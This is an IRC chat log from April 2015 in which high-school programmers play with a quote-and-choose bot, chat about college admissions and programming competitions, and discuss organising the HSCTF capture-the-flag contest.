[2015-04-09T23:48:28-0400] <alokpathy> No quote 1?
[2015-04-09T23:48:31-0400] <LittleBobbyTables> @quote 1
[2015-04-09T23:48:31-0400] <+awebot> <hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2015-04-09T23:48:32-0400] <kenzierocks> @quote 1
[2015-04-09T23:48:32-0400] <+awebot> <hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2015-04-09T23:48:34-0400] <alokpathy> Oh
[2015-04-09T23:48:34-0400] <+awe> @quote 2
[2015-04-09T23:48:34-0400] <+awebot> <JacobEdelman> Pidgey has been PMing me lewd messages for weeks
[2015-04-09T23:48:36-0400] <alokpathy> right
[2015-04-09T23:48:38-0400] <alokpathy> oops
[2015-04-09T23:48:39-0400] <LittleBobbyTables> @quote 30
[2015-04-09T23:48:39-0400] <+awebot> There is no such quote.
[2015-04-09T23:48:39-0400] <jwoglom> why isn't ! the cmdchar, honestly
[2015-04-09T23:48:40-0400] <alokpathy> @quote 3
[2015-04-09T23:48:40-0400] <+awebot> There is no such quote.
[2015-04-09T23:48:41-0400] <ubuntor> @quote 2
[2015-04-09T23:48:41-0400] <+awebot> There is no such quote.
[2015-04-09T23:48:42-0400] <kenzierocks> @quote 40
[2015-04-09T23:48:42-0400] <+awebot> There is no such quote.
[2015-04-09T23:48:44-0400] <LittleBobbyTables> @quote 29
[2015-04-09T23:48:44-0400] <+awebot> There is no such quote.
[2015-04-09T23:48:47-0400] <alokpathy> wat
[2015-04-09T23:48:47-0400] <LittleBobbyTables> whoa, did you delete everything
[2015-04-09T23:48:49-0400] <+awe> @addquote hardmath123 kc:~/alchemy$ cat answers.py | grep love
[2015-04-09T23:48:49-0400] <+awebot> awe: I'll remember it as #1.
[2015-04-09T23:48:49-0400] <kenzierocks> @quote 41
[2015-04-09T23:48:49-0400] <+awebot> There is no such quote.
[2015-04-09T23:48:55-0400] <ubuntor> nice
[2015-04-09T23:48:57-0400] <+awe> @addquote JacobEdelman Pidgey has been PMing me lewd messages for weeks
[2015-04-09T23:48:57-0400] <+awebot> awe: I'll remember it as #2.
[2015-04-09T23:49:00-0400] <alokpathy> @quote -1
[2015-04-09T23:49:00-0400] <+awebot> There is no such quote.
[2015-04-09T23:49:01-0400] <LittleBobbyTables> what if I add in the quote again
[2015-04-09T23:49:02-0400] <jwoglom> :o
[2015-04-09T23:49:05-0400] <+awe> LittleBobbyTables: Don't.
[2015-04-09T23:49:09-0400] <alokpathy> LittleBobbyTables: plz
[2015-04-09T23:49:13-0400] <jwoglom> well at least 11 is gone
[2015-04-09T23:49:20-0400] <alokpathy> @quote 11
[2015-04-09T23:49:21-0400] <+awebot> There is no such quote.
[2015-04-09T23:49:23-0400] <alokpathy> :D
[2015-04-09T23:49:29-0400] <JacobEdelman> @quote inf
[2015-04-09T23:49:29-0400] <+awebot> There is no such quote.
[2015-04-09T23:49:29-0400] <LittleBobbyTables> @addquote LittleBobbyTables "Why is this book so large? C++ isn't that hard of a language"
[2015-04-09T23:49:29-0400] <+awebot> LittleBobbyTables: I'll remember it as #3.
[2015-04-09T23:49:33-0400] <JacobEdelman> @quote 0.0
[2015-04-09T23:49:33-0400] <+awebot> There is no such quote.
[2015-04-09T23:49:37-0400] <JacobEdelman> @quote lalala
[2015-04-09T23:49:37-0400] <+awebot> There is no such quote.
[2015-04-09T23:49:40-0400] <alokpathy> @quote
[2015-04-09T23:49:40-0400] <+awebot> <LittleBobbyTables> "Why is this book so large? C++ isn't that hard of a language"
[2015-04-09T23:49:53-0400] <ubuntor> @quote
[2015-04-09T23:49:53-0400] <+awebot> <LittleBobbyTables> "Why is this book so large? C++ isn't that hard of a language"
[2015-04-09T23:49:55-0400] <kenzierocks> @addquote ( ͡° ͜ʖ ͡°)
[2015-04-09T23:49:55-0400] <+awebot> kenzierocks: I'll remember it as #4.
[2015-04-09T23:49:58-0400] <kenzierocks> @quote 4
[2015-04-09T23:49:59-0400] <+awebot> <(> ͡° ͜ʖ ͡°)
[2015-04-09T23:50:02-0400] <kenzierocks> f
[2015-04-09T23:50:04-0400] <LittleBobbyTables> f
[2015-04-09T23:50:10-0400] <bob_twinkles> f x
[2015-04-09T23:50:10-0400] <jwoglom> there's a space in there :P
[2015-04-09T23:50:13-0400] <kenzierocks> yea...
[2015-04-09T23:50:26-0400] <kenzierocks> @addquote _(ツ)_
[2015-04-09T23:50:32-0400] <kenzierocks> ...
[2015-04-09T23:50:33-0400] <LittleBobbyTables> @addquote <(^) Le budget Toucan has arrived
[2015-04-09T23:50:33-0400] <+awebot> LittleBobbyTables: I'll remember it as #5.
[2015-04-09T23:50:37-0400] <LittleBobbyTables> @quote
[2015-04-09T23:50:37-0400] <+awebot> <LittleBobbyTables> "Why is this book so large? C++ isn't that hard of a language"
[2015-04-09T23:50:41-0400] <kenzierocks> @addquote _(ツ)_ 
[2015-04-09T23:50:42-0400] <+awebot> kenzierocks: I'll remember it as #6.
[2015-04-09T23:50:42-0400] <LittleBobbyTables> @quote 5
[2015-04-09T23:50:43-0400] <+awebot> <<(^)> Le budget Toucan has arrived
[2015-04-09T23:50:45-0400] <kenzierocks> @quote 6
[2015-04-09T23:50:46-0400] <+awebot> <_(ツ)_> 
[2015-04-09T23:50:53-0400] <jwoglom> not bad :P
[2015-04-09T23:51:07-0400] <LittleBobbyTables> Could look a bit better
[2015-04-09T23:51:16-0400] <LittleBobbyTables> <> are weird arms
[2015-04-09T23:51:34-0400] <kenzierocks> @addquote LittleBobbyTables <> are weird arms
[2015-04-09T23:51:35-0400] <+awebot> kenzierocks: I'll remember it as #7.
[2015-04-09T23:51:38-0400] <kenzierocks> @quote 7'
[2015-04-09T23:51:38-0400] <+awebot> There is no such quote.
[2015-04-09T23:51:39-0400] <kenzierocks> @quote 7
[2015-04-09T23:51:39-0400] <+awebot> <LittleBobbyTables> <> are weird arms
[2015-04-09T23:51:45-0400] • kenzierocks: nods
[2015-04-09T23:51:50-0400] <LittleBobbyTables> @addquote kenzierocks> @addquote LittleBobbyTables <> are weird arms
[2015-04-09T23:51:50-0400] <+awebot> LittleBobbyTables: I'll remember it as #8.
[2015-04-09T23:51:52-0400] <LittleBobbyTables> Kappa
[2015-04-09T23:52:01-0400] <kenzierocks> @quote 8
[2015-04-09T23:52:01-0400] <+awebot> <kenzierocks>> @addquote LittleBobbyTables <> are weird arms
[2015-04-09T23:52:36-0400] <LittleBobbyTables> @addquote ayyyyy lmao
[2015-04-09T23:52:36-0400] <+awebot> LittleBobbyTables: I'll remember it as #9.
[2015-04-09T23:53:48-0400] <kenzierocks> @quote 9
[2015-04-09T23:53:48-0400] <+awebot> <ayyyyy> lmao
[2015-04-09T23:55:05-0400] <+awe> @quote
[2015-04-09T23:55:25-0400] <jwoglom> ..
[2015-04-09T23:56:33-0400] <alokpathy> wat
[2015-04-09T23:56:47-0400] <kenzierocks> @quote
[2015-04-09T23:56:51-0400] <kenzierocks> @quote 1
[2015-04-09T23:56:53-0400] <kenzierocks> @quote 2
[2015-04-09T23:56:54-0400] <kenzierocks> ...
[2015-04-09T23:57:00-0400] <kenzierocks> @addquote awebot 
[2015-04-09T23:57:02-0400] <jwoglom> someone's either spamming it, or it died
[2015-04-09T23:57:10-0400] <bob_twinkles> or awe removed it
[2015-04-09T23:57:10-0400] <alokpathy> RIP awebot
[2015-04-09T23:57:11-0400] <kenzierocks> @whois awebot
[2015-04-09T23:57:11-0400] <+awebot> kenzierocks: awebot is just your friendly neighborhood Spiderman.
[2015-04-09T23:57:15-0400] <jwoglom> 23:57:03  awebot | Something tells me you're sweet. Can I have a taste?
[2015-04-09T23:57:21-0400] <jwoglom> yup, it's just removed :P
[2015-04-09T23:57:25-0400] <kenzierocks> sigh
[2015-04-09T23:57:27-0400] <alokpathy> Aw man
[2015-04-09T23:57:33-0400] <kenzierocks> awe, man
[2015-04-09T23:59:13-0400] bob_twinkles (bob_twinkle@pdgn-2c9.5f7.8th2ps.IP) left IRC (Quit: router reboot time)
[2015-04-09T23:59:26-0400] <alokpathy> RIP bob_twinkles
[2015-04-09T23:59:33-0400] <alokpathy> You will be missed.
[2015-04-09T23:18:51-0400] <JacobEdelman> awe: i did hackbca by myself
[2015-04-09T23:18:56-0400] <JacobEdelman> awe: also, come for hsctf!
[2015-04-09T23:19:03-0400] <+awe> Come where?
[2015-04-09T23:20:00-0400] <JacobEdelman> to my house
[2015-04-09T23:20:04-0400] <JacobEdelman> for a reunion
[2015-04-09T23:20:16-0400] <JacobEdelman> it would be towards the end of hsctf
[2015-04-10T00:05:00-0400] failedxyz (uid50489@pdgn-550.9ak.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-04-10T00:05:04-0400] <+awe> RIP failedxyz
[2015-04-10T00:05:08-0400] <+awe> You will be missed.
[2015-04-10T00:05:16-0400] <JacobEdelman> @addquote LittleBobbyTables why would they post a private git on hackernewds
[2015-04-10T00:05:20-0400] <JacobEdelman> guys
[2015-04-10T00:05:22-0400] <kenzierocks> no more addquote
[2015-04-10T00:05:27-0400] <JacobEdelman> ?
[2015-04-10T00:05:31-0400] <JacobEdelman> ahhh
[2015-04-10T00:05:34-0400] <JacobEdelman> fine
[2015-04-10T00:05:57-0400] <+awe> Or quote.
[2015-04-10T00:05:59-0400] <+awe> For that matter
[2015-04-10T00:06:04-0400] <alokpathy> Or awebot
[2015-04-10T00:06:19-0400] <kenzierocks> yea....awebot doesn't do anything really
[2015-04-10T00:06:20-0400] <+awe> No, awebot is still here.
[2015-04-10T00:06:21-0400] <alokpathy> awebot: is an actual person now.
[2015-04-10T00:06:24-0400] <kenzierocks> you can....describe yourself
[2015-04-10T00:06:30-0400] <kenzierocks> @iam not here.
[2015-04-10T00:06:30-0400] <+awebot> kenzierocks: Got it!
[2015-04-10T00:06:35-0400] <+awe> @choose kenzierocks or no?
[2015-04-10T00:06:35-0400] <+awebot> awe: kenzierocks
[2015-04-10T00:06:45-0400] <alokpathy> @choose GTech or UIUC
[2015-04-10T00:06:45-0400] <+awebot> alokpathy: UIUC
[2015-04-10T00:06:50-0400] <alokpathy> Well now idk where to go to college.
[2015-04-10T00:06:50-0400] <Tamini> heh
[2015-04-10T00:07:04-0400] <+awe> @choose ban kenzierocks and LittleBobbyTables or re-add quotes
[2015-04-10T00:07:05-0400] <+awebot> awe: re-add quotes
[2015-04-10T00:07:07-0400] <+awe> wow
[2015-04-10T00:07:09-0400] <kenzierocks> @choose 1 or 2 or 3 or 4 or 5 or 6 or 7 or 8 or 9 or 10
[2015-04-10T00:07:09-0400] <+awebot> kenzierocks: 9
[2015-04-10T00:07:12-0400] <+awe> awebot doesn't hate you.
[2015-04-10T00:07:14-0400] <kenzierocks> @choose 1 or 2 or 3 or 4 or 5 or 6 or 7 or 8 or 9 or 10
[2015-04-10T00:07:14-0400] <+awebot> kenzierocks: 10
[2015-04-10T00:07:20-0400] <kenzierocks> yay rng
[2015-04-10T00:07:31-0400] <jwoglom> @choose yes or yes
[2015-04-10T00:07:32-0400] <+awebot> jwoglom: yes
[2015-04-10T00:07:45-0400] <jwoglom> @choose yes
[2015-04-10T00:07:45-0400] <+awebot> jwoglom: yes
[2015-04-10T00:07:53-0400] <+awe> @tell kenzierocks you suck
[2015-04-10T00:07:53-0400] <+awebot> awe: I'll let them know!
[2015-04-10T00:08:03-0400] <alokpathy> wao
[2015-04-10T00:08:05-0400] <kenzierocks> @tell awebot @tell awebot 
[2015-04-10T00:08:05-0400] <+awebot> kenzierocks: I'm right here!
[2015-04-10T00:08:05-0400] <+awebot> kenzierocks: Moments ago, awe said you suck.
[2015-04-10T00:08:18-0400] <jwoglom> but, then his name is contradictory!
[2015-04-10T00:08:18-0400] <kenzierocks> @tell awe yudodis
[2015-04-10T00:08:19-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-10T00:08:30-0400] <+awe> jwoglom: his name is a lie. kenziesux.
[2015-04-10T00:08:30-0400] <+awebot> awe: Moments ago, kenzierocks said yudodis.
[2015-04-10T00:08:35-0400] kenzierocks is now known as kenziesux
[2015-04-10T00:08:41-0400] <alokpathy> lolwut
[2015-04-10T00:08:45-0400] <jwoglom> not anymore!
[2015-04-10T00:08:45-0400] <kenziesux> wow
[2015-04-10T00:08:49-0400] <kenziesux> such abuse
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[2015-04-10T00:08:58-0400] <alokpathy> wat
[2015-04-10T00:09:00-0400] <+awe> Lol.
[2015-04-10T00:09:03-0400] <alokpathy> :|
[2015-04-10T00:09:21-0400] <alokpathy> Kenzie plz come back
[2015-04-10T00:09:32-0400] <jwoglom> :(
[2015-04-10T00:19:43-0400] <LittleBobbyTables> !choose 1 or 2 or 3
[2015-04-10T00:19:49-0400] <LittleBobbyTables> @choose 1 or 2 or 3
[2015-04-10T00:19:49-0400] <+awebot> LittleBobbyTables: 2
[2015-04-10T00:20:19-0400] <ubuntor> @choose or
[2015-04-10T00:20:19-0400] <+awebot> ubuntor: or
[2015-04-10T00:21:07-0400] <LittleBobbyTables> @choose or or and or but
[2015-04-10T00:21:07-0400] <+awebot> LittleBobbyTables: or
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[2015-04-10T00:23:44-0400] <alokpathy> bob_twinkles: You're back1
[2015-04-10T00:23:47-0400] <alokpathy> !
[2015-04-10T00:24:09-0400] <Tamini> hiii bob_twinkles 
[2015-04-10T00:24:34-0400] <Tamini> i'm getting tempted to gorge my eyes out with the pen i'm using to do math homework
[2015-04-10T00:24:39-0400] <Tamini> this is a bad sign methinks
[2015-04-10T00:24:50-0400] <alokpathy> It's normal.
[2015-04-10T00:28:10-0400] <bob_twinkles> 'ello
[2015-04-10T00:28:17-0400] <jwoglom> did you router reboot good
[2015-04-10T00:28:25-0400] <alokpathy> Oh, yeah
[2015-04-10T00:28:27-0400] <alokpathy> did it?
[2015-04-10T00:28:36-0400] <bob_twinkles> it went OK
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[2015-04-10T00:34:43-0400] <Tamini> me dead
[2015-04-10T00:34:45-0400] <Tamini> life hard
[2015-04-10T00:34:51-0400] <Tamini> why do i opt to travel to things
[2015-04-10T00:34:58-0400] <alokpathy> To meet with us :P
[2015-04-10T00:36:26-0400] <Tamini> :P
[2015-04-10T00:36:30-0400] <Tamini> i'll see you next week tho
[2015-04-10T00:36:35-0400] <Tamini> by next week i mean in two days
[2015-04-10T00:36:55-0400] <Tamini> jk tomorrow
[2015-04-10T00:36:57-0400] <alokpathy> Well tomorrow
[2015-04-10T00:36:59-0400] <alokpathy> Yeh
[2015-04-10T00:37:01-0400] <alokpathy> LOL
[2015-04-10T00:38:55-0400] <Tamini> i dont even miss you rn
[2015-04-10T00:38:56-0400] <Tamini> what even
[2015-04-10T00:38:57-0400] <Tamini> LOL
[2015-04-10T00:41:08-0400] <alokpathy> Wow
[2015-04-10T00:41:14-0400] <alokpathy> I'm hurt
[2015-04-10T00:41:45-0400] <Tamini> i saw you like yesterday
[2015-04-10T00:41:46-0400] <Tamini> LOL
[2015-04-10T00:49:42-0400] <alokpathy> Ahem
[2015-04-10T00:49:44-0400] <alokpathy> 2 days agop
[2015-04-10T00:59:57-0400] <Tamini> omg matt
[2015-04-10T01:00:03-0400] <Tamini> "i met someone you know but i forgot his name"
[2015-04-10T01:00:20-0400] <alokpathy> What'd he look like? XD
[2015-04-10T01:00:34-0400] <Tamini> i have no idea
[2015-04-10T01:00:34-0400] <Tamini> lol
[2015-04-10T01:00:40-0400] <alokpathy> I Mean tlike
[2015-04-10T01:00:44-0400] <alokpathy> you could ask him
[2015-04-10T01:00:46-0400] <alokpathy> xd
[2015-04-10T01:00:56-0400] <Tamini> im asking him
[2015-04-10T01:00:57-0400] <Tamini> but math is hard
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[2015-04-10T09:20:05-0400] <JacobEdelman> gmorning all
[2015-04-10T09:20:09-0400] <JacobEdelman> welcome back Tamini
[2015-04-10T09:20:21-0400] <JacobEdelman> and good bye Tamini (in a day or so)
[2015-04-10T09:20:38-0400] <JacobEdelman> all you people travelling to cs competitions 
[2015-04-10T09:20:55-0400] <JacobEdelman> but I need to Latin :(
[2015-04-10T10:32:50-0400] <nickthename> >latin
[2015-04-10T10:32:57-0400] <nickthename> so glad I don't have to do that anymore
[2015-04-10T10:44:46-0400] <Tamini_> lol
[2015-04-10T10:44:54-0400] <Tamini_> latin is fun.
[2015-04-10T10:45:19-0400] <Tamini_> JacobEdelman: you should come, though
[2015-04-10T10:45:28-0400] <nickthename> where are you going?
[2015-04-10T10:46:14-0400] <Tamini_> uva!
[2015-04-10T10:47:28-0400] <Tamini_> alSo lol what class are you in
[2015-04-10T10:49:12-0400] <nickthename> amworld
[2015-04-10T10:49:15-0400] <nickthename> uva?
[2015-04-10T10:49:22-0400] <nickthename> that's like a law school
[2015-04-10T10:49:27-0400] <Tamini_> lol
[2015-04-10T10:49:33-0400] <Tamini_> its a programming competition
[2015-04-10T10:49:49-0400] <nickthename> ...?!
[2015-04-10T10:50:11-0400] <Tamini_> ???o-o
[2015-04-10T10:51:08-0400] <nickthename> oh, like programming team
[2015-04-10T10:51:17-0400] <Tamini_> yeah lol
[2015-04-10T10:51:18-0400] <nickthename> not really my cup of tea, but good luck!
[2015-04-10T10:51:27-0400] <Tamini_> thanks :)
[2015-04-10T10:55:04-0400] <JacobEdelman> Tamini_: sorry, too much latin and other work
[2015-04-10T10:55:15-0400] <nickthename> JacobEdelman: you in ap?
[2015-04-10T10:55:17-0400] <Tamini_> nyeh
[2015-04-10T10:55:22-0400] <JacobEdelman> sadly I'm not a senior like bricetopher and alokpathy
[2015-04-10T10:55:25-0400] <JacobEdelman> nickthename: nope
[2015-04-10T10:55:33-0400] <Tamini_> i only wanted to see bricetopher anyway
[2015-04-10T10:55:35-0400] <Tamini_> nyeh nyeh
[2015-04-10T10:55:36-0400] <JacobEdelman> nickthename: actually its online since the latin teacher left the school
[2015-04-10T10:55:41-0400] <alokpathy> Tamini_: >:|
[2015-04-10T10:55:41-0400] <JacobEdelman> Tamini_: :(
[2015-04-10T10:55:56-0400] • JacobEdelman: high fives alokpathy
[2015-04-10T10:56:04-0400] <Tamini_> oh alokpathy is here oops
[2015-04-10T10:56:05-0400] <JacobEdelman> (simultaneous emoticons ftw)
[2015-04-10T10:56:09-0400] <nickthename> thought alokpathy was a junior
[2015-04-10T10:56:13-0400] <JacobEdelman> nope
[2015-04-10T10:56:20-0400] <Tamini_> well i mean you're the reason I chose uva over umd okay
[2015-04-10T10:56:23-0400] <Tamini_> nickthename: so uh
[2015-04-10T10:56:31-0400] <Tamini_> if you promise not to ruin the fun
[2015-04-10T10:56:35-0400] <Tamini_> I should probably tell you
[2015-04-10T10:56:40-0400] <alokpathy> nickthename: I thought sdamashek told you before?
[2015-04-10T10:56:43-0400] <Tamini_> alokpathy isn't Animesh >_>
[2015-04-10T10:56:46-0400] <alokpathy> :)
[2015-04-10T10:56:48-0400] <JacobEdelman> oh, lol, yeah
[2015-04-10T10:56:53-0400] <JacobEdelman> :P
[2015-04-10T10:57:01-0400] <nickthename> >implying I care about #tjhsst
[2015-04-10T10:57:07-0400] <JacobEdelman> alokpathy goes to my school and runs HSCTF with me
[2015-04-10T10:57:12-0400] <Tamini_> thats what i thought
[2015-04-10T10:57:15-0400] <alokpathy> Yay so you won't ruin the fun xD
[2015-04-10T10:57:16-0400] <nickthename> oh, I wass gonna do hsctf
[2015-04-10T10:57:18-0400] <nickthename> guess I forgot
[2015-04-10T10:57:20-0400] <JacobEdelman> Tamini_: how do you not have enough time to do all these comeptitions
[2015-04-10T10:57:28-0400] <JacobEdelman> nickthename: HSCTF 2 is still coming
[2015-04-10T10:57:31-0400] <Tamini_> JacobEdelman: i DONt
[2015-04-10T10:57:34-0400] <JacobEdelman> sign up for email updates on the website
[2015-04-10T10:57:37-0400] <nickthename> but yeah, sam didn't tell me, but I won't tell anyone
[2015-04-10T10:57:40-0400] <JacobEdelman> Tamini_: lol, thats what what I thought
[2015-04-10T10:57:43-0400] <alokpathy> nickthename: :)
[2015-04-10T10:58:05-0400] <Tamini_> also alokpathy
[2015-04-10T10:58:09-0400] <JacobEdelman> we should move this conv into #hs
[2015-04-10T10:58:12-0400] <JacobEdelman> since its hs focused
[2015-04-10T10:58:17-0400] <Tamini_> CDB got into college(s)
[2015-04-10T10:58:19-0400] <LittleBobbyTables> Or
[2015-04-10T10:58:22-0400] <LittleBobbyTables> Here's a great idea
[2015-04-10T10:58:25-0400] <alokpathy> Tamini_: e.g.?
[2015-04-10T10:58:28-0400] <LittleBobbyTables> Since we have 20 people in just keep it here
[2015-04-10T10:58:36-0400] <jwoglom> Lol corwin is corwin
[2015-04-10T10:58:41-0400] <JacobEdelman> LittleBobbyTables: eh, I guess
[2015-04-10T10:58:41-0400] <Tamini_> CMU + princeton
[2015-04-10T10:58:45-0400] <alokpathy> Dang.
[2015-04-10T10:58:57-0400] <JacobEdelman> he didn't get in to whatever early?
[2015-04-10T10:58:59-0400] <nickthename> JacobEdelman: I think I subscribed to email, it didn't give any feedback
[2015-04-10T10:58:59-0400] <alokpathy> I am inferior :)
[2015-04-10T10:59:00-0400] <jwoglom> How does he even
[2015-04-10T10:59:01-0400] <Tamini_> ZACH keeps trying to persuade him to cmu
[2015-04-10T10:59:08-0400] <Tamini_> but that won't happen
[2015-04-10T10:59:08-0400] <JacobEdelman> come to princeton
[2015-04-10T10:59:21-0400] <Tamini_> and alokpathy its ok we <3 you
[2015-04-10T10:59:27-0400] <JacobEdelman> nickthename: we will email out an update closer to the competition
[2015-04-10T10:59:36-0400] <Tamini_> also did you decide on uiuc yet
[2015-04-10T10:59:40-0400] <JacobEdelman> lol
[2015-04-10T10:59:53-0400] <nickthename> i'm pretty much going to rit
[2015-04-10T11:00:00-0400] <Tamini_> ah
[2015-04-10T11:00:04-0400] <JacobEdelman> rit?
[2015-04-10T11:00:05-0400] <Tamini_> with csssuf?
[2015-04-10T11:00:05-0400] <alokpathy> Tamini_: I have to call them about aid. If I don't get any, I can't go.
[2015-04-10T11:00:12-0400] <Tamini_> alokpathy: :/
[2015-04-10T11:00:14-0400] <nickthename> Tamini_: yup
[2015-04-10T11:00:15-0400] <alokpathy> JacobEdelman: Rochester Institute of Technology, I'm assuming.
[2015-04-10T11:00:19-0400] <alokpathy> Tamini_: I prefer GT, anyways
[2015-04-10T11:00:20-0400] <JacobEdelman> ah
[2015-04-10T11:00:25-0400] <Tamini_> but then I won't see youuuuu
[2015-04-10T11:00:32-0400] <alokpathy> Tamini_: It seems friendlier for theory.
[2015-04-10T11:00:39-0400] <Tamini_> when am I going to go to Georgia.
[2015-04-10T11:00:43-0400] <fwilson> >Tamini_
[2015-04-10T11:00:43-0400] <alokpathy> Tamini_: Would you see me if I went to UIUC? o.O
[2015-04-10T11:00:44-0400] <fwilson> >in school
[2015-04-10T11:00:53-0400] <Tamini_> fwilson: shh
[2015-04-10T11:00:55-0400] <fwilson> >middle of sixth period
[2015-04-10T11:00:57-0400] <fwilson> >on IRC
[2015-04-10T11:00:57-0400] <Tamini_> compphys
[2015-04-10T11:00:59-0400] <nickthename> oh, uiuc, they rejected 2 of my friends
[2015-04-10T11:01:03-0400] <Tamini_> not a real class
[2015-04-10T11:01:09-0400] <JacobEdelman> awe: what are you doing around hsctf this year? (mid may)
[2015-04-10T11:01:11-0400] <jwoglom> F
[2015-04-10T11:01:12-0400] <Tamini_> fwilson: what about you
[2015-04-10T11:01:13-0400] <jwoglom> Er
[2015-04-10T11:01:25-0400] <Tamini_> and nickthename too
[2015-04-10T11:01:25-0400] <jwoglom> Fwilson: >also in school during 6th period
[2015-04-10T11:01:34-0400] <alokpathy> JacobEdelman: awe's coming down to NJ to help us out. Right awe? :D
[2015-04-10T11:01:35-0400] <Tamini_> and jwoglom
[2015-04-10T11:01:40-0400] <nickthename> huh?
[2015-04-10T11:01:41-0400] <fwilson> >shush
[2015-04-10T11:01:46-0400] <fwilson> >nickthename
[2015-04-10T11:01:48-0400] <fwilson> >also in sixth period
[2015-04-10T11:01:49-0400] <nickthename> what am I doing when?
[2015-04-10T11:01:52-0400] <nickthename> it's amworld
[2015-04-10T11:01:56-0400] <jwoglom> >>shush
[2015-04-10T11:01:59-0400] <jwoglom> >fwilson
[2015-04-10T11:02:08-0400] <jwoglom> >also in 6th period
[2015-04-10T11:02:11-0400] <LittleBobbyTables> >le meme arrows
[2015-04-10T11:02:11-0400] <LittleBobbyTables> >outside 4chn
[2015-04-10T11:02:11-0400] <JacobEdelman> alokpathy: yes, were gonna need help cause all our problem writers are busy going to comeptitions coughocuhg cough
[2015-04-10T11:02:12-0400] <JacobEdelman> :P
[2015-04-10T11:02:26-0400] <alokpathy> Shush I already wrote a few
[2015-04-10T11:02:30-0400] <fwilson> >le memes
[2015-04-10T11:02:32-0400] <fwilson> >not dank enough
[2015-04-10T11:02:34-0400] <Tamini_> i can write problems for you guys
[2015-04-10T11:02:34-0400] <JacobEdelman> 8th awebot message for me just now
[2015-04-10T11:02:50-0400] <alokpathy> awebot: hasn't messaged me in a while. I guess I'm not attractive anymore :/
[2015-04-10T11:02:50-0400] <JacobEdelman> Tamini_: we're trying to keep it exclusively wwp north
[2015-04-10T11:02:54-0400] • alokpathy: becomes self-conscious.
[2015-04-10T11:03:00-0400] <JacobEdelman> also, to be fair we do have over 30 problems already
[2015-04-10T11:03:05-0400] <JacobEdelman> and we need 40
[2015-04-10T11:03:06-0400] <Tamini_> Well I'd compete anyway
[2015-04-10T11:03:10-0400] <JacobEdelman> lol
[2015-04-10T11:03:12-0400] <Tamini_> :PPP
[2015-04-10T11:03:13-0400] <nickthename> I think you're doing better than tjctf lol
[2015-04-10T11:03:17-0400] <nickthename> but i'll totally do hsctf
[2015-04-10T11:03:20-0400] <alokpathy> Tamini_: You can write problems. We won't take them though :P
[2015-04-10T11:03:28-0400] <Tamini_> :(
[2015-04-10T11:03:31-0400] <Tamini_> no love
[2015-04-10T11:03:44-0400] <JacobEdelman> a side effect of having so many more high school ctfs is hsctf looks better
[2015-04-10T11:03:47-0400] <JacobEdelman> in comparision
[2015-04-10T11:03:48-0400] <JacobEdelman> :P
[2015-04-10T11:03:53-0400] <Tamini_> psh
[2015-04-10T11:04:00-0400] <alokpathy> JacobEdelman: People were bashing HSCTF at Codegate :P
[2015-04-10T11:04:07-0400] <JacobEdelman> alokpathy: why???
[2015-04-10T11:04:24-0400] <alokpathy> Well it was mainly this PPPer, nezorg, and kenzie.
[2015-04-10T11:04:24-0400] <JacobEdelman> alokpathy: also! yeah! they are acknowledging our existence!
[2015-04-10T11:04:27-0400] <Tamini_> waat
[2015-04-10T11:04:32-0400] <Tamini_> oh right
[2015-04-10T11:04:39-0400] <Tamini_> too much algo
[2015-04-10T11:04:46-0400] <JacobEdelman> well... too bad for them
[2015-04-10T11:04:49-0400] <JacobEdelman> we like algo
[2015-04-10T11:04:49-0400] <alokpathy> I feel like actual CTFers didn't like HSCTF, but math people did xD
[2015-04-10T11:04:56-0400] <JacobEdelman> well
[2015-04-10T11:05:02-0400] <nickthename> what, PPP didn't feel challenged? boo hoo
[2015-04-10T11:05:03-0400] <JacobEdelman> there are like, 4 actual ctfers in hs
[2015-04-10T11:05:06-0400] <JacobEdelman> who don't do algo
[2015-04-10T11:05:06-0400] <Tamini_> i maintain that clockish is perfect and you are wrong
[2015-04-10T11:05:18-0400] <LittleBobbyTables> HSCTF was a bad CTF
[2015-04-10T11:05:18-0400] <Tamini_> and UH
[2015-04-10T11:05:22-0400] <alokpathy> Tamini_: Was the guy sitting at your table clockish?
[2015-04-10T11:05:24-0400] <LittleBobbyTables> Good competition, but a bad CTF
[2015-04-10T11:05:25-0400] <Tamini_> yes
[2015-04-10T11:05:28-0400] <alokpathy> Tamini_: I was talking about ricky xD
[2015-04-10T11:05:30-0400] <Tamini_> the cute guy omg.
[2015-04-10T11:05:32-0400] <Tamini_> oh LOL
[2015-04-10T11:05:34-0400] <JacobEdelman> awe: kick LittleBobbyTables for insulting HSCTF please?
[2015-04-10T11:05:38-0400] <Tamini_> yeah ricky is totally anti-you
[2015-04-10T11:05:42-0400] <JacobEdelman> oh wait
[2015-04-10T11:05:44-0400] <JacobEdelman> he uninstuled it
[2015-04-10T11:05:47-0400] <JacobEdelman> awe: nvm
[2015-04-10T11:05:57-0400] <Tamini_> also yeah if brice is tamini proofing stuff
[2015-04-10T11:06:02-0400] <Tamini_> im going to be happy
[2015-04-10T11:06:06-0400] <alokpathy> wat
[2015-04-10T11:06:07-0400] <Tamini_> but everyone else will be sad
[2015-04-10T11:06:10-0400] <Tamini_> like math
[2015-04-10T11:06:13-0400] <nickthename> tamini proofing stuff
[2015-04-10T11:06:14-0400] <fwilson> tamini-proofing things?
[2015-04-10T11:06:15-0400] <Tamini_> hard math
[2015-04-10T11:06:20-0400] <nickthename> eww math
[2015-04-10T11:06:25-0400] <LittleBobbyTables> hardmath123?
[2015-04-10T11:06:26-0400] <Tamini_> But then
[2015-04-10T11:06:27-0400] <JacobEdelman> dont worry, there won't be too much math
[2015-04-10T11:06:34-0400] <Tamini_> if you put math on
[2015-04-10T11:06:37-0400] <Tamini_> south will wreck
[2015-04-10T11:06:46-0400] <JacobEdelman> actually, brice pulled a berger and has made some completely math-less problems
[2015-04-10T11:06:54-0400] <JacobEdelman> well, mostly math-less
[2015-04-10T11:07:04-0400] <alokpathy> JacobEdelman: He has?
[2015-04-10T11:07:19-0400] <alokpathy> Oh, right.
[2015-04-10T11:07:22-0400] <alokpathy> That one
[2015-04-10T11:07:26-0400] <JacobEdelman> shhhhhhh
[2015-04-10T11:07:27-0400] <Tamini_> like what? ;)
[2015-04-10T11:07:28-0400] <alokpathy> the one that he made.
[2015-04-10T11:07:28-0400] <JacobEdelman> secrets
[2015-04-10T11:07:34-0400] <alokpathy> Tamini_: It's the one that he wrote.
[2015-04-10T11:07:40-0400] <JacobEdelman> have you guys heard the name you yet?
